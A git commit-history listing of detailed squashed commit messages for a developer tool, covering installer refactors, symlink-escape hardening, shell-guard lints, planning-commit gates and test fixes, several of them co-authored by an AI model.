installs, on the surface path as well as install - and points anyone needing a per-agent transform at the three extension points rather than at a new inline branch. Corrects the ADR amendment: seven runtimes were on the inline loop, not six. kimi-code was found by a golden fixture going red, not by reading. That is the third short count this phase, all from enumerating by symbol or set membership when the thing that matters is a behavior. Adds the Changed changeset for the surface-path convergence. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): amend ADR-2866 - claude global always wrote agents on disk The claude row's global=[skills] described what capability.json declared, not what the installer wrote. bin/install.js's inline agent-staging loop was never scope-gated and never consulted the descriptor, so a claude --global install has always written agents/gsd-*.md. Phase 6 closes the gap by deleting that loop and declaring agents on claude's descriptor at global scope. On-disk bytes are unchanged - the golden fixtures did not move, which is the evidence that the descriptor, not the installer, was incomplete. #2218 is unaffected: agents are not trigger-bearing, so the wider row does not introduce a new shadowing case. Records the warning that an incomplete descriptor is invisible while a second code path silently does its work, and only surfaces when the two are forced into agreement. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): close review findings across staging, agents and the parity harness Two independent reviews of this branch found defects the local gates missed. Security: a dangling symlink at a migration destination allowed writing outside configDir - the same class this change claimed to close, missed at the terminal write of the flow being added. The staging-root resolver threw as the first statement of install and uninstall, so a hostile symlink bricked both, and symlinked-configDir users lost uninstall as well as install; it now degrades instead of aborting. Recovery gained a source-side symlink check and now refuses a relative destDir, which resolved against cwd. Converter dispatch gained a runtime allowlist - lint-time validation stopped mattering once this branch promoted that dispatch from the surface path to real installs. Correctness: claude --local --minimal exited 1 because the minimal profile legitimately yields zero agents and the new path treated that as a failure. cline --local silently lost its agents - its descriptor declared none while the deleted loop wrote them unconditionally. The agents prune was widened to any gsd-* entry and destroyed user files it never owned. The parity harness, on which the migration's safety argument rested, drove a synthetic registry and never byte-compared the shipped descriptors; two of its trap rows could not fail. It now drives the real registry across 13 runtime-scope rows including kimi-code and cline-local, and its red-proof is demonstrated by corrupting a live capability.json. Three goldens that had encoded the cline regression as expected behavior were corrected. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): close findings from both mandated review engines /security-review found the staging source-side walk honouring GSD_ALLOW_SYMLINKED_DEST, an opt-in documented as relaxing only the write destination. A symlinked files/ component dereferenced because copyPreservingSymlink lstats the leaf only, so an intermediate link is followed. The source walk no longer honours the opt-in; the destination check still does. /code-review spec axis found this branch had reintroduced its own bug: migrateLegacyDevPreferencesToSkill's new symlink refusal threw unguarded after the legacy dir was wiped and before the staged batch was restored, so a planted symlink bricked uninstall permanently and orphaned the batch. Refusal kept, abort removed. kimi-code local silently lost its agents, the same class as the cline bug, and the parity harness recorded that exclusion as intentional - the third test in this branch to pin a regression as correct. --minimal now creates an empty agents/ dir that never existed. Behaviour restored rather than softening the changeset, so its byte-identical claim stays true. Standards axis: try/finally removed from twelve test bodies, fast-check properties added for parseOwnerPid, boundary coverage at the grace window and the ancestor-probe depth, a parity assertion for the staging-root helper duplicated across two files, and the 8-deep config walk deduplicated. Records 60-review.json with every finding and disposition from five passes, including the smells left unfixed and why. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): prune stale agents unconditionally in minimal mode The previous round stopped an empty agents/ directory being created when the resolved profile yields no agents. That was implemented by skipping the agents kind entirely, which also skipped its stale-agent prune - so a full to minimal downgrade left stale gsd-* agents behind. The deleted inline loop pruned unconditionally and only skipped writing. Those are three separate conditions, not one: prune always, write only when there is something to write, create the directory only when writing. Both call sites now run _removeGsdEntries before the empty-staged early exit. The symlink-escape guard moved with it, since the prune also touches dest. Codex .toml agents and the config.toml stanzas are cleaned again, and user-owned agents are still preserved. The agents/ directory is left in place after a prune empties it, matching every sibling kind - none of them remove the destination directory itself. Golden fixtures confirmed byte-identical: the prune is a no-op on a fresh install, so fixture generation is unaffected. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): document interrupted-install recovery for user-owned files The durable-staging fix is invisible to the user it protects. Someone whose install died mid-flight has no way to know USER-PROFILE.md was staged before the delete, that the next run restores it, or that recovery happens at the start of that run rather than in the background. Written as the task the user has - finish the interrupted command - rather than as a description of the mechanism, and states what it will not do: overwrite a file already present, or touch staging belonging to another install still running. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#2875): backfill changeset pr number Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * test(#2875): assert the J8 model override without building a regex CodeQL flagged incomplete string escaping: the assertion interpolated the override value into a RegExp while escaping only forward slashes, which is meaningless in a constructor, leaving real metacharacters unescaped. The failure direction was the dangerous one - a metacharacter would have made the match more permissive, so the row would pass when it should fail. That matters here because J8 exists precisely because an earlier revision was a tautology; the rewrite reintroduced a different way for the same assertion to stop discriminating. Replaced with a line-wise exact match, so no regex is constructed at all. Swept the other test files this branch adds; no sibling instances. lint:ci passed on the original - lint-no-adhoc-regex-escape matches a full metachar-escape copy, so a single slash replace slipped under it. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com>	2026-08-17 17:25:53 -04:00
Tom Boucher	5f64d999dc	fix(#3586): warn when .planning/ is gitignored but still tracked (#3598) ... * feat(#3586): warn when .planning/ is gitignored but still tracked git ignore rules have no effect on files git already tracks, so a project that committed .planning/ before ignoring it keeps staging those files -- while commit_docs correctly resolves to false, which is exactly what makes the contradiction invisible. The probe lives in the SNAPSHOT BUILDER, not the rule: Rule.check may perform no ambient I/O (ADR-3180 8.1 rule 1, enforced by lint-planning-snapshot-bypass). buildPlanningTrackedField follows buildWorktreeHealthField's precedent -- injected execGit, bounded, degrading to UNREADABLE with a typed reason rather than throwing. W024 went inline instead only because no snapshot field carried its fact; that precondition does not apply here. W029 fires only on COMPLETE scope with ignored and tracked both true, so a degraded probe yields neither a finding nor a false all-clear, and the default project (tracked, not ignored) stays silent. The remedy is ADVISE-only -- --repair never untracks anything. * docs(#3586): document W029 and correct the health rule count CONFIGURATION.md documented the gitignore auto-detect without the caveat that ignore rules do not affect already-tracked files -- the very gap W029 exists to surface. Adds the caveat, the warning, its remedy, and why --repair will not act on it. CONTEXT.md's rule count was stale at 31 before this change (actual 32 through W028); corrected to 33 and pointed at the two other places the count is locked, so the next editor updates all three together. * fix(#3586): treat ls-files overflow as tracked, add CLI-level W029 tests Review findings. Security (minor, confirmed): execGit sets no maxBuffer, so Node's 1MB default applies to git ls-files. A .planning/ tree large enough to overflow it failed into git_list_failed and silenced W029 -- a false negative in exactly the large-history case most likely to have the real bug. Overflow is now treated as PROOF of tracking (the output was non-empty by definition) and resolves to tracked:true, scope COMPLETE, reason ok_truncated. Spec (major): test-matrix rows C1 and C2 were never implemented -- there was no CLI-level integration test at all, only rule-level ones. Both now drive the real validate-health dispatch and confirm W029 is reachable end-to-end. Known limit documented, not papered over: a deliberate git add -f under an otherwise-ignored .planning/ raises the same signal as the accidental case. There is no reliable way to tell them apart, the finding is advisory-only, and a heuristic that cannot actually distinguish them would be worse than the honest caveat. * test(#3586): update frozen health-doc counts and acknowledge health.md growth The remote matrix caught three gates that lint:ci does not cover. gen-health-docs.test.cjs froze a 35-row / 32-rule assertion; W029 makes it 36/33. Updated both the assertion and the test NAME, which embeds the counts -- a stale name is a lie even when the assertion passes. The second reported failure was the same assertion surfacing at describe-rollup granularity, not a distinct bug. emitted-attribution's growth arm needed an ack for the generated health.md. health.md was already named in 3309-health-docs-generated.json, and two ack sources naming one path is a hard error -- so a new fragment was not an option. That fragment's own history shows the pattern: #3309 created it, #2873 amended it in place for W028. Amended again for W029, with a note recording why this one file is amended rather than joined by a sibling. * docs(#3586): add the private-planning how-to and fix a wrong link docs/CONFIGURATION.md pointed 'Configure private planning' at how-to/configure-model-profiles.md -- an unrelated page -- and no private-planning how-to existed at all. Found while editing that section. The how-to test genuinely fires here: going private is four steps and crosses planning.search_gitignored, a setting owned by another concern, so a reference table structurally cannot carry it. The new page walks the whole sequence and leads with the step people miss -- .gitignore does not untrack what git already tracks -- which is the exact state W029 now detects. Also corrects 'artefacts' to 'artifacts' (repo house style is American). * chore(#3586): backfill changeset pr number to 3598 --------- Co-authored-by: sim <sim@local>	2026-08-17 15:56:46 -04:00
Tom Boucher	ec7e49a64c	fix(#3576): repair all 43 dead references/ cites and gate the canonical resolvable form (#3596) ... * test(#3576): gate shipped reference citations on the canonical resolvable form Failing-first gate for #3576: a backticked bare references/<name>.md cite resolves from no install location (agents, workflows, and references all install where a bare relative references/ path is dead). The gate walks the runtime-loaded trees the issue prescribes, strips @~/ include tokens PER-TOKEN (a line-skip guard would miss a bare cite sharing a line with an include — the issue-named trap), pins the genuinely relative ../ href and canonical forms as non-offenders, and checks canonical cite targets exist. 43 offenders today across 19 files. * fix(#3576): repair all 43 dead references/ cites to the canonical resolvable form Every backticked bare references/<name>.md cite across the 19 shipped files rewritten to gsd-core/references/<name>.md — the form every required_reading block and @~/ include already uses, and the only form that resolves from any install location. All 20 cited targets verified to exist; the one genuinely relative href (plan-phase.md's ../references/mvp-concepts.md) is untouched (the repair is backtick-anchored). Growth acks: new fragment for the three first-time paths, #3206-pattern appends to the five fragments already naming the other grown files (two ack sources may never name the same path). execute-phase.md lands at 93,391/93,400 and gsd-executor.md at 49,150/49,152 — exactly the issue's projections; every repair fits. * fix(#3576): drop stale default.md growth ack (nested modes file is hash-attributed, not growth-ratcheted) Review finding: the emitted-attribution ratchet covers only top-level workflows/ + agents/ files; discuss-phase/modes/default.md's delta is source-attributed, so acknowledging its growth is a stale entry the differential lane fails on. * chore(#3576): add changeset fragment * chore(#3576): backfill changeset pr number --------- Co-authored-by: sim <sim@local>	2026-08-17 15:24:24 -04:00
Tom Boucher	98ecb2ba8c	enhance(#2142): archive quick tasks at milestone close-out (#3592) ... * test(#2142): failing-first coverage for quick-task archival at milestone close-out * enhance(#2142): archive quick tasks at milestone close-out * fix(#2142): resolve review findings — readme injection, move/reset ordering, owned state write * fix(#2142): fold archival under milestone namespace, expose index IR, dedupe reset decision * test(#2142): assert archive-dir-relative summary path in index IR * docs(#2142): backfill changeset pr number to 3592 * test(#2142): skip newline-fixture injection test on windows (control chars illegal in path names) --------- Co-authored-by: sim <sim@local>	2026-08-17 14:51:00 -04:00
Tom Boucher	7c649a9970	fix(#3585): close raw-git bypasses of the commit_docs gate (#3590) ... * test(#3585): repo-wide guard for unguarded .planning/ git add Replaces the two-file #1783 scan, which required .planning/ on the git add line and so was structurally blind to fast.md's `git add -A` and to new-milestone.md (never scanned). Extracts the shell tokenizer, comment-position rule and gsd-scan-ignore marker from the #2269 guard into tests/helpers/shipped-command-scan.cjs so both guards consume one implementation. Commit-specific logic stays in commit-files-pathspec.test.cjs; every pre-existing test there passes unedited. Fails RED on five sites: fast.md:58, new-milestone.md:262, spec-phase.md:480, eval-review.md:148, ai-integration-phase.md:263. The last three carry a markdown prose conditional outside the bash block it claims to guard. * fix(#3585): close raw-git bypasses of the commit_docs gate Five shipped workflow steps staged .planning/ with raw git. Two had no check at all; three had a markdown prose conditional sitting outside the bash block it claimed to guard, so the block ran unconditionally. spec-phase, eval-review and ai-integration-phase now route through the gsd_run query commit seam, which performs the commit_docs and gitignore checks internally and returns a skipped envelope -- this deletes the raw git pair rather than wrapping it. new-milestone stages directories for a later commit and cannot use the seam, so it takes the executable guard form, fail-open on a tooling error. fast writes no planning artifacts and has no gsd_run in scope at that point, so it excludes .planning via pathspec instead of reading config. Guard now reports 0 offenders. * test(#3585): pin skipped_gitignored to production behavior COMMIT_REASON was a test-local frozen enum joined to production only by a hand-maintained keep-in-sync comment -- the Generative Fix Divergence class, whose required remedy is a parity assertion. B1-B3 already pinned SKIPPED_COMMIT_DOCS_FALSE. SKIPPED_GITIGNORED was pinned by nothing: production could rename it and every test still passed. G1-G3 drive the gitignore auto-detect path and assert the canonical reason. The fixture must OMIT .planning/config.json entirely -- with config.json present the loader resolves commit_docs to false first and cmdCommit returns skipped_commit_docs_false, never reaching its own isGitIgnored branch. * docs(#3585): document the planning commit gate and its guard CONTEXT.md had zero commit_docs entries. Adds a Planning Commit Gate glossary entry covering the resolution chain, the typed skip envelope, the measured ordering of the two reason codes, and why the gate is enforceable only as a text guard. CONTRIBUTING.md gains the contributor rule for the new guard, with the prose-is-not-a-guard example that caused three of the five defects. * fix(#3585): address review findings in the planning-add guard Spec review (blocker): fast.md excluded .planning unconditionally, changing behavior for commit_docs=true users and violating epic AC4. Now gated -- the launcher preamble was MOVED from log_to_state into the commit block rather than copied, so gsd_run is in scope for +4 lines instead of +4KB, and the else branch is byte-identical to the previous git add -A. Security review (major): git -C <dir> add was a false negative because the flag-skip loop never modelled flags that consume a separate value. Fixed for -C/-c/--git-dir/--work-tree/--namespace. The fail-closed rule now also covers $(...) substitution args and --pathspec-from-file, which were opaque in the same way $VAR is. git commit -a/-am is now classified as reaching, since it stages every tracked modification. Self-review: isSkippable treated any NAME= token as a skippable prefix, so V=$(git add -A) escaped -- the exact divergence the shared-helper extraction existed to prevent. Adopted the sibling predicate verbatim. eval, xargs, one-line function bodies and line-continuation remain blind and are now enumerated as declared limits in the guard docblock and CONTRIBUTING. The ifDepth clamp is defensive only: a 200k-case differential fuzz found no reproducing input, so its test is labeled a pin, not a failing-first test. * test(#3585): acknowledge emitted growth in three workflow files emitted-attribution has two arms: hash attribution AND per-file growth. The growth arm needs an acknowledgment even when every moved byte is attributable to the diff, which is why the first remote run went red on it. fast.md +417: the launcher preamble moved into the commit block so gsd_run is in scope for the commit_docs guard, plus the guard itself. new-milestone.md +281: the executable guard plus one line recording that the unstaged archive move is deliberate. spec-phase.md +21: reworded prose describing the skipped envelope. eval-review.md and ai-integration-phase.md shrank; no entry needed. * test(#3585): drop duplicate spec-phase ack, shrink its prose instead The base already acknowledges spec-phase.md (from #2733), and two ack sources may never name the same path. But a base-side ack is SPENT -- it cannot clear new growth -- so the two gates were in direct conflict: attribution wanted an ack, the ack lint forbade one. Resolved by removing the growth rather than the conflict. spec-phase.md's +21 was purely a prose reword; rewritten shorter, the file now shrinks 36 bytes against base and needs no acknowledgment at all. fast.md and new-milestone.md have no base ack and keep theirs. * chore(#3585): backfill changeset pr number to 3590 --------- Co-authored-by: sim <sim@local>	2026-08-17 13:34:55 -04:00
0xdhx	285cd41be0	fix(#3206): define "explicit evidence" inline at verifier 5b; repair stale honest-verifier cites (#3435) ... * fix(#3206): define "explicit evidence" inline at verifier 5b; repair stale honest-verifier cites Step 3 item 5b abstained on non-inferable (backstop) truths "unless confirmed by explicit evidence" with the term undefined — its definition lived only in the non-included gsd-core/references/honest-verifier.md, behind a stale bare `references/` cite that 404s. Undefined, the term falls back to presence + wiring, the exact false-pass the #1154 abstention protocol refuses. - 5b: inline the compressed definition (a passing wired held-out/property-based test or directly observed behavior; presence + wiring never qualifies) and fix the cite. +84 B on the rewritten line; file lands at 49,151 of the 49,152 LARGE cap. - verifier-phase-gates.md (already <required_reading>): gains the backstop-abstention reporting contract — AFK completion line ("complete with N unverified non-inferable checks", never silent, never a halt) and reason-distinctness (insufficient_spec vs manual-UAT human_needed). New content, no relocation of measured prose. - 5c (line 204) and MVP-mode (line 644) bare cites repaired to gsd-core/references/ (+9 B each). - Drift acks per ADR-2719 §4; two entries merge-appended into existing fragments (two ack sources may never name the same path). - Changeset fragment with the sanctioned pr: 0 placeholder (post-create backfill). Sibling census at next@7976b1ca0: 7 bare-cite instances in 4 agent files; the 3 in gsd-verifier.md are fixed here, gsd-executor.md:429,439 and gsd-doc-synthesizer.md:20,176 stay with the epic #1891 follow-up. Refs #1891 * chore(#3206): set changeset fragment pr to 3435 * fix(#3206): drop stale emitted-drift-ack entries that trip the ADR-2719 ratchet The round's ack bookkeeping explained ripples that were already self-attributed, so `tests/emitted-attribution.test.cjs` failed deterministically on the PR head with 5 stale acknowledgments. `agents/gsd-verifier.md` and `gsd-core/references/verifier-phase-gates.md` appear directly in `git diff --name-only`, so PROVENANCE_RULES attributes their emitted deltas without an ack; `agents/gsd-verifier.agent.md`, `agents/gsd-verifier.toml` and `agents/subagents/gsd-verifier.md` are derived emissions of a changed source and are attributed the same way. None of the five entries could ever be consumed, so all five were stale. Removed: the whole `3206-verifier-explicit-evidence.json` fragment (all four entries) and the `#3206 append` to `0000-legacy-migration.json`. Deliberately KEPT: the `#3206 append` to `1955-verifier-coincidental-reliance.json`. Its `gsd-verifier.md` entry is consumed by the size-growth ratchet, not the hash pass — the agent grew 49049 -> 49151 bytes, and `diffEmitted` treats a base-identical ack as spent and excludes it from `ackEntries`. Reverting that append as well turns the stale-ack failure into `1 file(s) grew without an acknowledgment` (verified both ways locally). * fix(#3206): compress 5b and re-acknowledge growth after rebase onto next The rebase onto next (159145435, PR #3558) invalidated two things at once: - #3558 grew agents/gsd-verifier.md to 49,098 bytes, leaving 54 bytes of LARGE-cap headroom where this PR's +102 no longer fits. Compressed the 5b rewrite to +34 net by dropping the trailing honest-verifier cite — superseded by the now-inline definition; honest-verifier.md stays cited at the adjacent 5c line. File lands at 49,150 (2 under the cap). - #3558 deleted tests/emitted-drift-acks/1955-verifier-coincidental- reliance.json, which carried this PR's growth acknowledgment, and its own 3409 fragment now names gsd-verifier.md. Re-homed the #3206 growth ack as an append to that entry (two ack sources may never name the same path). The changeset is updated to match: two bare references/ cites repaired (5c honest-verifier.md, MVP-mode verify-mvp-mode.md), the third (5b's) superseded by the inline definition rather than repaired. Reversion controls: restoring the uncompressed 5b fails agent-size-budget.test.cjs (LARGE hard cap); reverting the ack append fails emitted-attribution.test.cjs (differential attribution over the real tree, GSD_EMITTED_BASE=upstream/next). Both re-verified green at this tree: 213/213 (size + attribution), 992/992 across the 14 suites reading the touched files. Refs #3206 * test(#3206): pin the 5b explicit-evidence definition and cite resolution * fix(#3206): pin regression tests to the shipped contract text --------- Co-authored-by: sim <sim@local>	2026-08-16 14:14:27 -04:00
Tom Boucher	3c61b4a838	enh(#3565): sentinel/contract registry + check:contract-drift lint (#3571) ... * enh(#3565): sentinel/contract registry + check:contract-drift lint * fix(#3565): report artifact-row markers once and dedupe per marker * docs(#3565): backfill changeset pr number --------- Co-authored-by: sim <sim@local>	2026-08-16 12:59:08 -04:00
Tom Boucher	2b9713a6b2	fix(#3557): accept claude code session id in the workstream session probe (#3570) ... * test(#3557): failing-first regression for claude code session key probe * test(#3557): assert adapter source vocabulary in session probe test * fix(#3557): accept claude code session id in the workstream session probe * test(#3557): pin the new session key against both immediate neighbors * chore(#3557): backfill changeset pr number --------- Co-authored-by: sim <sim@local>	2026-08-16 02:09:39 -04:00
Tom Boucher	c5b83cb050	chore(#3560): delete two unreachable workflows, gate workflow reachability in lint (#3564) ... * chore(#3560): delete two unreachable workflows, gate reachability in lint discovery-phase.md and plan-milestone-gaps.md shipped to all 19 runtime install trees with no command, agent, or skill referencing them. plan-milestone-gaps' command was deleted by #2790 and the workflow was left behind; discovery-phase's own header claimed a caller in plan-phase.md's mandatory_discovery step, and that step does not exist — plan-phase.md contains zero occurrences of "discovery". docs/INVENTORY.md asserted discovery-phase.md was an alternate entry for /gsd-new-project. new-project.md never referenced it. The row and the matching note sentence are removed across all five locales rather than corrected. Adds rule 6 to lint-command-contract: every shipped workflow must be reachable from a loader, walking the transitive closure over the three reference shapes this repo uses. The closure seeds ONLY from commands/agents/skills, so a workflow that references only itself and a pair that reference only each other are both correctly reported rather than satisfying themselves; a visited set makes reference cycles terminate. The measure is a mention in a LOADER — docs/ and install-tree fixtures deliberately do not count, because scan.md proved a file can be documented and shipped while entirely unreached. Ships blocking, not report-only: #3561 is in this branch's base, so the tree reports 0 unreachable from the start. Closes #3560 * test(#3560): drive rule 6 end-to-end, sweep a stale allowlist, update ADR-0002 Review findings. Rule 6 had no end-to-end coverage: the tests exercised the pure closure with in-memory data, so the wiring — file collection, exit code, diagnostic — was unproven, and #3560's acceptance list explicitly wants a fixture showing the rule FAILS on a planted orphan. Adds an optional --root to lint-command-contract (default behavior unchanged) and four tests driving the real CLI through the process seam against a temp fixture: clean=0, planted orphan=1, orphan referenced only from docs/=1, orphan reachable transitively=0. The docs/ case is what pins the Goodhart defense — a mention outside a loader must not confer reachability. Deletes two tests that were byte-identical to a third and could not assert anything loader-specific, since the closure is source-agnostic by design; that distinction lives in the lint script's file collection and is now covered above. Removes a stale ALLOWLIST entry for discovery-phase.md in planner-language-regression — the exact sweep-miss class rule 6 exists to catch, found in the PR that adds the rule. ADR-0002 described five per-file frontmatter checks; rule 6 is a repo-level reachability graph, so the Decision section now says so. Refs #3560 * test(#3560): cut the bug-3298 test pin on the deleted plan-milestone-gaps workflow The remote runner went red with four failures: tests/phase.test.cjs asserted the plan-milestone-gaps workflow exists and checked its mkdir patterns, so deleting the file broke the test that pinned it. This is the fence the epic describes — the content-sync test IS what keeps an unreachable file alive — and cutting the coupling is what makes the deletion safe. Removes only that arm. The bug-3298 block guards three workflows against phase-dir prefix drift; the import and add-backlog arms and both shared mkdir-pattern helpers are untouched. Worth recording where the sweep failed: my reachability walk covered commands, agents, skills, gsd-core and docs, and lint-removed-but-needed covers .github/workflows, gsd-core, docs and package.json. Neither looks at tests/, so a test-pinned deletion is invisible to both and surfaces only on the remote runner. The how-to added by this PR names that gap explicitly so the next deletion searches tests/ by hand. Refs #3560 * docs(#3560): add a how-to for resolving unreachable-workflow findings * chore(#3560): backfill changeset pr number to 3564 --------- Co-authored-by: sim <sim@local>	2026-08-15 23:29:30 -04:00
Tom Boucher	1591454357	feat(#3409): reject shell guards that cannot observe their own failure arm (#3558) ... * test(#3409): failing-first regression tests for unreachable shell guard arms Drives the three live defects fail-first, executing the shipped workflow snippets rather than a re-typed copy: - G1/G2 plan-phase.md Walking Skeleton gate reads `--pick summaries_total`, a field that does not exist, so PRIOR_SUMMARIES is always "" and the gate has never fired (#3365). G2 is the load-bearing negative-space case: it rejects a fix that treats "no answer" as "zero" and fires unconditionally. - G3 plan-phase.md PHASE_REQ_IDS resolves "" instead of the TBD sentinel on a phase with zero requirements. - G4 complete-milestone.md's bare `cat <glob>` blocks on stdin under a nullglob left set by an earlier block (measured hang). Skipped on Windows for G4 only: the FIFO-blocked-stdin mechanism is POSIX only, and a weakened assertion there would pass vacuously. Refs #3409 * fix(#3409): make nine shell guards observe their own failure arm `--pick` coerces a missing field to empty string and exits 0, so the `|| echo <default>` fallback after it fires only on a verb typo, never on the field absence it was written for. Nine sites relied on that arm. - plan-phase.md walking-skeleton gate: `--pick summaries_total` names a field that does not exist under any flag combination, so the gate has never fired on any project (#3365). Repointed at the existing single owner, `phases.list --type summaries --pick count`, which returns a real integer in every case including a project with no `.planning` directory. No new counter is added: a second one would duplicate the ownership ADR-3180 Decision 1 forbids. The gate now fires only on a literal "0", so an unanswerable query fails safe instead of entering skeleton mode. - plan-phase.md phase_req_ids: now falls back to the documented TBD. - The remaining seven convert to an explicit empty test. - complete-milestone.md read all phase summaries through a bare `cat <glob>`; under a nullglob left set by an earlier block that is zero operands, so cat blocks on stdin. Guarded with the array shape the #3300 fix already established in review.md. Refs #3409 * fix(#3409): guard eleven more globs that defeat their own fallback arm The nullglob audit this issue asks for turned up the same class in files #3300 never touched. - Eight bare `cat <glob>` reads (transition, complete-milestone, planner x4, verifier, phase-researcher). With nullglob set that is zero operands, so cat reads stdin and blocks; measured rc=137 at 3s. - Three `ls <glob> || echo "<message>"` sites (session-report, review-backlog and its generated skill). nullglob makes ls succeed listing the cwd, so the message never prints and the user gets a directory listing instead. Guarded with `[ -e "${_ARR[0]}" ]` rather than `[ ${#_ARR[@]} -gt 0 ]`. The count form is correct only when nullglob is set, and six of these seven files never set it: without it the array holds the unmatched literal pattern, so the count is 1 and the guard passes wrongly. `-e` is correct in both worlds. review.md keeps its count guards — that block sets nullglob two lines above them. skills/gsd-review-backlog regenerated from commands/, never hand-edited. Refs #3409 * feat(#3409): add the unreachable-shell-guard drift lint A sibling of lint-planning-prompt-drift.cjs, consuming the shared scripts/lib/drift-scan.cjs rather than copying it, wired into lint:ci. Both detectors are one shape — a fallback arm defeated by a legitimate success-on-empty: - Detector A: `--pick` and `|| echo` on one line. `--pick` is the discriminator because "missing field renders empty at exit 0" is a documented CLI contract, not a heuristic. A rule keyed on gsd_run matched 111 lines, ~132 of them legitimate, and was rejected. - Detector B: `cat <glob>` in command position, and `ls <glob>` whose exit code feeds a real fallback or an if/while head. Informational `ls <glob>` whose stdout is consumed (97 sites) and `|| true` failure suppression (~15) are not guards and never fire. Shrink-only ratchet keyed on (file, trimmed text) with a per-pair count, POSIX-normalized unconditionally so Windows CI cannot report everything fresh and stale at once. Ships with a ZERO-entry baseline: every site it can find is fixed. Exemption is the per-line `# gsd-scan-ignore: #NNN` marker whose reason must name an issue or URL; a malformed reason reports a distinct error rather than silently exempting. No file allowlists. ADR-3409 records the invariant, the measurements behind both detectors, and why the upstream `--pick` contract fix belongs to #3473. Refs #3409 * fix(#3409): resolve review findings — typed surface, sanitized reports, tighter marker Standards axis (blocker): the guard's tests asserted on human-readable stdout/stderr and on free-form baseline-load prose, which CONTRIBUTING prohibits by name. Added the typed surface it prescribes instead of weakening the tests: a frozen REASON enum, a --json report mode, structured loadBaseline errors, and a test locking Object.keys(REASON) so a new reason stays three coordinated changes. Security axis: sanitizeForReport covered every violation field but not the baseline-load error path, which embeds raw JSON.stringify output -- that escapes nothing above 0x1f, so bidi and C1 controls reached CI logs unfiltered. Routed through the sanitizer at the output seam. Security axis: the scan-ignore marker accepted `#0` and a bare `http://`. Tightened to a positive issue number and a URL with a host. This diverges deliberately from the sibling in tests/commit-files-pathspec.test.cjs, whose looser form was copied verbatim; the header now records the divergence. Security axis: G4 built its FIFO with `mktemp -u`, reserving a name without creating it. Now created inside a `mktemp -d` directory. Spec axis: ADR-3409 claimed a ninth site landed after the issue was filed. git blame disproves it -- all nine predate it; the issue's hand count missed one. Corrected. The design and test matrix still specified B9 as a FLAG after implementation reversed it to PASS; both now record the reversal and why. Refs #3409 * docs(#3409): add the how-to for resolving unreachable-guard findings Reference and Explanation are carried by ADR-3409; this is the task-oriented quadrant CI cannot check for. The page exists mainly for one thing the lint structurally cannot catch: both `[ -e "${_ARR[0]}" ]` and `[ ${#_ARR[@]} -gt 0 ]` remove the glob from the command and therefore both pass, but the count form is correct only when nullglob is set — and nullglob is usually set in a different block of the same file. A reference table cannot carry that; a how-to can. Also documents the reason codes, so a reader can tell "nothing to report" from "could not look". No tutorial: this is a gate inside an existing CI loop, not a new entry point a newcomer starts from. Refs #3409 * fix(#3409): bring the touched prompt files back under their size gates The remote run was red on 14 tests, all size/attribution, none of them the regression suite. - agents/gsd-planner.md was 194 chars over a 49152 cap enforced by four separate tests, each of which says the remedy is extraction, not a bump. It had 41 chars of headroom before this branch. Its `## Checkpoint Types` section was an unlinked, condensed duplicate of references/checkpoints.md, which already carries all three types and their XML shapes; the section now points there and keeps the three names and percentages inline. Net -969, margin 1010. - gsd-core/workflows/execute-phase.md sat 2 chars under a comfortable margin assertion. Dropped the AUTO_MODE default: the `|| echo "false"` it replaced was unreachable, so the value was already sometimes empty on next, and its only consumer compares against `true`. Net -16. Left plan-phase.md's AUTO_CHAIN default alone -- that file names an explicit `false` branch, so empty would match neither branch. - Acknowledged the seven prompt files that genuinely grew, one specific reason each. Five of those paths were already claimed by spent fragments identical to next, which blocks a second source naming the same path; removed just the colliding key from each, deleting the two that this emptied. Refs #3409 * test(#3409): extract the whole PHASE_REQ_IDS block, not just its first line G3 failed on the remote runner with '' !== 'TBD'. The test was wrong, not the workflow. The shipped contract is now two consecutive lines -- the capture and the `${PHASE_REQ_IDS:-TBD}` default -- but the helper's `^PREFIX=.*$` regex returns only the first match, so the test executed half the contract and correctly observed the empty string. Renamed to extractAssignmentBlockFor and taught it to consume the contiguous run of lines sharing the prefix. The assertion is untouched: TBD is the right expectation, and weakening it to accept the empty string would have reinstated exactly the class this suite exists to catch -- a check that cannot observe the thing it is checking. extractFencedBashAfterAnchor is unaffected: it is fence-delimited rather than line-anchored, so G1/G2/G4 still capture their full blocks. Refs #3409 * chore(#3409): drop a spent ack fragment that collided on complete-milestone.md #3458 landed on next while this branch was in flight and its fragment claims complete-milestone.md, which this branch also grows. Two ack sources may never name the same path. Its entry is spent: the +9163 it explains is already absorbed at base, so it can no longer clear anything, and the checker's own guidance for spent entries is to delete them. Removing the key emptied the fragment, so the file goes too -- an empty one signals nothing. Refs #3409 * chore(#3409): backfill changeset pr number 3558 * test(#3409): hoist a regex subject out of exec() to clear the injection scan CI's prompt-injection scan flagged `MARKER_RE.exec('# gsd-scan-ignore: ...')`. The pattern `exec[[:space:]]*\(["']` is receiver-blind on purpose, so it catches `require('child_process').exec('...')` -- and the scanner's own header records that RegExp.prototype.exec is collateral, to be handled by its allowlist. Allowlisting the file would blind it to the real exec vector permanently, so the subject is hoisted into a const instead: same assertion, scanner left at full strength, no security surface widened. Refs #3409 --------- Co-authored-by: sim <sim@local>	2026-08-15 21:09:05 -04:00
